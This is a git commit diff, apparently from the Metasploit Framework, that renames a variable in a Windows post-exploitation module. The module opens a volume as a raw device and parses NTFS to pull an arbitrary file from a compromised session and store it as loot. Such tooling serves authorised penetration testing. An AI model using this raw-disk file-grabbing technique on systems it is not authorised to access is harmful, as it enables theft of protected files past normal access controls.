variable name clarification (file, file_path, path)

bug/bundler_fix
Bazin Danil 2015-01-31 05:07:07 +01:00
parent 5d4a8e2f90
commit 2cf9a17f25
1 changed files with 8 additions and 7 deletions

View File

@ -25,7 +25,7 @@ class Metasploit3 < Msf::Post
)) ))
register_options( register_options(
[ [
OptString.new('FILE', [true, 'The FILE to retreive from the Volume raw device', nil]) OptString.new('FILE_PATH', [true, 'The FILE_PATH to retreive from the Volume raw device', nil])
], self.class) ], self.class)
end end
@ -42,8 +42,8 @@ class Metasploit3 < Msf::Post
return return
end end
file = datastore['FILE'] file_path = datastore['FILE_PATH']
drive = file[0, 2] drive = file_path[0, 2]
r = client.railgun.kernel32.CreateFileA("\\\\.\\#{drive}", "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", r = client.railgun.kernel32.CreateFileA("\\\\.\\#{drive}", "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE",
nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0) nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH", 0)
@ -56,11 +56,12 @@ class Metasploit3 < Msf::Post
print_status("Successfuly opened #{drive}") print_status("Successfuly opened #{drive}")
begin begin
fs = Rex::Parser::NTFS.new(self) fs = Rex::Parser::NTFS.new(self)
print_status("Trying gather #{file}") print_status("Trying gather #{file_path}")
data = fs.file(file[3, file.length - 3]) path = file_path[3, file_path.length - 3]
file_name = file.split("\\")[-1] data = fs.file(path)
file_name = file_path.split("\\")[-1]
stored_path = store_loot("windows.file", 'application/octet-stream', session, data, file_name, "Windows file") stored_path = store_loot("windows.file", 'application/octet-stream', session, data, file_name, "Windows file")
print_status("Saving file : #{stored_path}") print_good("Saving file : #{stored_path}")
rescue ::Exception => e rescue ::Exception => e
print_error("Post failed : #{e.backtrace}") print_error("Post failed : #{e.backtrace}")
ensure ensure